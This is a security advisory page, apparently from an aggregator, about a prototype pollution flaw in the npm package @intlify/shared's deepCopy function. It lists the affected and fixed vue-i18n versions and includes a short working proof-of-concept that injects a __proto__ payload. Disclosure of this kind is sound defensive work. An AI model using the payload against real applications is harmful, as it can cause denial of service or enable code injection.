Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-hjwq-mjwj-4x6c

Опубликовано: 02 дек. 2024
Источник: github
Github: Прошло ревью
CVSS4: 6.9

Описание

@intlify/shared Prototype Pollution vulnerability

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version ~$ npm install @intlify/shared@10.0.4 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123}
(async () => { const lib = await import('@intlify/shared'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Пакеты

Наименование

@intlify/shared

npm
Затронутые версииВерсия исправления

>= 9.7.0, < 9.14.2

9.14.2

Наименование

@intlify/vue-i18n-core

npm
Затронутые версииВерсия исправления

>= 9.7.0, < 9.14.2

9.14.2

Наименование

vue-i18n

npm
Затронутые версииВерсия исправления

>= 9.7.0, < 9.14.2

9.14.2

Наименование

petite-vue-i18n

npm
Затронутые версииВерсия исправления

>= 10.0.0, < 10.0.5

10.0.5

Наименование

@intlify/shared

npm
Затронутые версииВерсия исправления

>= 10.0.0, < 10.0.5

10.0.5

Наименование

@intlify/vue-i18n-core

npm
Затронутые версииВерсия исправления

>= 10.0.0, < 10.0.5

10.0.5

Наименование

vue-i18n

npm
Затронутые версииВерсия исправления

>= 10.0.0, < 10.0.5

10.0.5

EPSS

Процентиль: 23%
0.00075
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-1321

Связанные уязвимости

nvd
около 1 года назад

@intlify/shared is a shared library for the intlify project. The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) as the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. This issue has been addressed in versions 9.14.2, and 10.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

EPSS

Процентиль: 23%
0.00075
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-1321